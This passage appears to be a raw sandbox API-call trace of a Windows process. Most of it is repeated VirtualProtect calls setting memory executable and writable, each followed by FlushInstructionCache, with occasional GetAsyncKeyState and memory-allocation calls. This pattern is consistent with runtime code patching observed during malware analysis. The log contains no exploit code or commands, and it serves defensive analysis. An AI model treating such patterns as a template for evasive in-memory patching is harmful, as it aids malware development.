dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.080] GetCurrentProcess () returned 0xffffffff [0102.080] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0102.080] GetCurrentProcess () returned 0xffffffff [0102.080] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0102.080] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.080] GetCurrentProcess () returned 0xffffffff [0102.081] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0102.081] GetCurrentProcess () returned 0xffffffff [0102.081] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0102.081] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.081] GetCurrentProcess () returned 0xffffffff [0102.081] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0102.081] GetCurrentProcess () returned 0xffffffff [0102.081] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0102.081] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.082] GetCurrentProcess () returned 0xffffffff [0102.082] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0102.082] GetCurrentProcess () returned 0xffffffff [0102.082] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0102.082] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.083] GetCurrentProcess () returned 0xffffffff [0102.083] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0102.083] GetCurrentProcess () returned 0xffffffff [0102.083] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0102.083] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.083] GetCurrentProcess () returned 0xffffffff [0102.083] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0102.083] GetCurrentProcess () returned 0xffffffff [0102.083] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0102.083] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.084] GetCurrentProcess () returned 0xffffffff [0102.084] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0102.084] GetCurrentProcess () returned 0xffffffff [0102.084] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0102.084] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.085] GetCurrentProcess () returned 0xffffffff [0102.085] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0102.085] GetCurrentProcess () returned 0xffffffff [0102.085] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0102.085] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.085] GetCurrentProcess () returned 0xffffffff [0102.086] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0102.086] GetCurrentProcess () returned 0xffffffff [0102.086] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0102.086] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.086] GetCurrentProcess () returned 0xffffffff [0102.086] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0102.086] GetCurrentProcess () returned 0xffffffff [0102.086] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0102.086] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.087] GetCurrentProcess () returned 0xffffffff [0102.087] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0102.087] GetCurrentProcess () returned 0xffffffff [0102.087] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0102.087] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.088] GetCurrentProcess () returned 0xffffffff [0102.088] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0102.088] GetCurrentProcess () returned 0xffffffff [0102.088] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0102.088] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.089] GetCurrentProcess () returned 0xffffffff [0102.089] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0102.089] GetCurrentProcess () returned 0xffffffff [0102.089] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0102.089] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.090] GetCurrentProcess () returned 0xffffffff [0102.090] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0102.090] GetCurrentProcess () returned 0xffffffff [0102.090] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0102.090] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.091] GetCurrentProcess () returned 0xffffffff [0102.091] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0102.091] GetCurrentProcess () returned 0xffffffff [0102.091] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0102.091] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.091] GetCurrentProcess () returned 0xffffffff [0102.091] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0102.091] GetCurrentProcess () returned 0xffffffff [0102.091] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0102.091] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.092] GetCurrentProcess () returned 0xffffffff [0102.092] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0102.092] GetCurrentProcess () returned 0xffffffff [0102.092] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0102.092] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.093] GetCurrentProcess () returned 0xffffffff [0102.093] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0102.093] GetCurrentProcess () returned 0xffffffff [0102.093] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0102.093] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.093] GetCurrentProcess () returned 0xffffffff [0102.093] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0102.093] GetCurrentProcess () returned 0xffffffff [0102.093] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0102.093] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.094] GetCurrentProcess () returned 0xffffffff [0102.094] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0102.094] GetCurrentProcess () returned 0xffffffff [0102.094] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0102.094] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.095] GetCurrentProcess () returned 0xffffffff [0102.095] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0102.095] GetCurrentProcess () returned 0xffffffff [0102.095] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0102.095] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.095] GetCurrentProcess () returned 0xffffffff [0102.095] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0102.096] GetCurrentProcess () returned 0xffffffff [0102.096] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0102.096] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.096] GetCurrentProcess () returned 0xffffffff [0102.096] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0102.097] GetAsyncKeyState (vKey=3) returned 0 [0102.097] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0102.097] CRetailMalloc_Alloc () returned 0xcb2a5d8 [0102.098] memcpy (in: _Dst=0xcf94f48, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0102.098] memcpy (in: _Dst=0xcb2a5f8, _Src=0x197724, _Size=0x18 | out: _Dst=0xcb2a5f8) returned 0xcb2a5f8 [0102.098] CRetailMalloc_Realloc () returned 0xcb2a5d8 [0102.098] CRetailMalloc_Free () returned 0x1 [0102.098] GetCurrentProcess () returned 0xffffffff [0102.098] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0102.098] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.098] GetCurrentProcess () returned 0xffffffff [0102.099] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0102.099] GetCurrentProcess () returned 0xffffffff [0102.099] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0102.099] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.099] GetCurrentProcess () returned 0xffffffff [0102.099] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0102.099] GetCurrentProcess () returned 0xffffffff [0102.099] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0102.099] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.100] GetCurrentProcess () returned 0xffffffff [0102.100] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0102.100] GetCurrentProcess () returned 0xffffffff [0102.100] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0102.100] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0102.101] GetCurrentProcess () returned 0xffffffff [0102.101] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0104.997] GetCurrentProcess () returned 0xffffffff [0104.997] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0104.997] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0104.998] GetCurrentProcess () returned 0xffffffff [0104.998] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0104.998] GetCurrentProcess () returned 0xffffffff [0104.998] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0104.998] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0104.998] GetCurrentProcess () returned 0xffffffff [0104.998] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0104.998] GetCurrentProcess () returned 0xffffffff [0104.998] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0104.998] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0104.999] GetCurrentProcess () returned 0xffffffff [0104.999] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0104.999] GetCurrentProcess () returned 0xffffffff [0104.999] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0104.999] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.000] GetCurrentProcess () returned 0xffffffff [0105.000] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0105.000] GetCurrentProcess () returned 0xffffffff [0105.001] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0105.001] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.001] GetCurrentProcess () returned 0xffffffff [0105.001] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0105.001] GetCurrentProcess () returned 0xffffffff [0105.001] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0105.001] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.002] GetCurrentProcess () returned 0xffffffff [0105.002] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0105.002] GetCurrentProcess () returned 0xffffffff [0105.002] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0105.002] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.002] GetCurrentProcess () returned 0xffffffff [0105.002] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0105.002] GetCurrentProcess () returned 0xffffffff [0105.002] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0105.003] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.004] GetCurrentProcess () returned 0xffffffff [0105.004] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0105.004] GetCurrentProcess () returned 0xffffffff [0105.004] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0105.004] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.004] GetCurrentProcess () returned 0xffffffff [0105.004] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0105.004] GetCurrentProcess () returned 0xffffffff [0105.004] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0105.004] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.005] GetCurrentProcess () returned 0xffffffff [0105.005] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0105.005] GetCurrentProcess () returned 0xffffffff [0105.005] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0105.005] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.006] GetCurrentProcess () returned 0xffffffff [0105.006] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0105.006] GetCurrentProcess () returned 0xffffffff [0105.006] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0105.006] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.006] GetCurrentProcess () returned 0xffffffff [0105.006] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0105.006] GetCurrentProcess () returned 0xffffffff [0105.006] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0105.006] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.007] GetCurrentProcess () returned 0xffffffff [0105.007] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0105.007] GetCurrentProcess () returned 0xffffffff [0105.007] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0105.007] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.008] GetCurrentProcess () returned 0xffffffff [0105.008] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0105.008] GetCurrentProcess () returned 0xffffffff [0105.008] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0105.008] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.008] GetCurrentProcess () returned 0xffffffff [0105.008] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0105.008] GetCurrentProcess () returned 0xffffffff [0105.008] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0105.008] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.009] GetCurrentProcess () returned 0xffffffff [0105.009] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0105.009] GetCurrentProcess () returned 0xffffffff [0105.009] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0105.009] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.010] GetCurrentProcess () returned 0xffffffff [0105.010] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0105.010] GetCurrentProcess () returned 0xffffffff [0105.010] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0105.010] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.011] GetCurrentProcess () returned 0xffffffff [0105.011] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0105.011] GetCurrentProcess () returned 0xffffffff [0105.011] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0105.011] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.011] GetCurrentProcess () returned 0xffffffff [0105.011] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0105.011] GetCurrentProcess () returned 0xffffffff [0105.011] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0105.011] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.012] GetCurrentProcess () returned 0xffffffff [0105.012] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0105.012] GetCurrentProcess () returned 0xffffffff [0105.012] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0105.012] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.012] GetCurrentProcess () returned 0xffffffff [0105.012] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0105.012] GetCurrentProcess () returned 0xffffffff [0105.013] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0105.013] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.013] GetCurrentProcess () returned 0xffffffff [0105.013] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0105.013] GetCurrentProcess () returned 0xffffffff [0105.013] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0105.013] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.014] GetCurrentProcess () returned 0xffffffff [0105.014] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0105.014] GetCurrentProcess () returned 0xffffffff [0105.014] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0105.014] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.014] GetCurrentProcess () returned 0xffffffff [0105.014] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0105.014] GetCurrentProcess () returned 0xffffffff [0105.014] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0105.014] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.015] GetCurrentProcess () returned 0xffffffff [0105.015] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0105.015] GetCurrentProcess () returned 0xffffffff [0105.015] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0105.015] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.015] GetCurrentProcess () returned 0xffffffff [0105.015] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0105.016] GetCurrentProcess () returned 0xffffffff [0105.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0105.016] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.016] GetCurrentProcess () returned 0xffffffff [0105.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0105.017] GetAsyncKeyState (vKey=3) returned 0 [0105.017] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0105.017] CRetailMalloc_Alloc () returned 0xcb2a638 [0105.018] memcpy (in: _Dst=0xcf94f48, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0105.018] memcpy (in: _Dst=0xcb2a658, _Src=0x197724, _Size=0x18 | out: _Dst=0xcb2a658) returned 0xcb2a658 [0105.018] CRetailMalloc_Realloc () returned 0xcb2a638 [0105.018] CRetailMalloc_Free () returned 0x1 [0105.018] GetCurrentProcess () returned 0xffffffff [0105.018] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0105.018] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.018] GetCurrentProcess () returned 0xffffffff [0105.018] 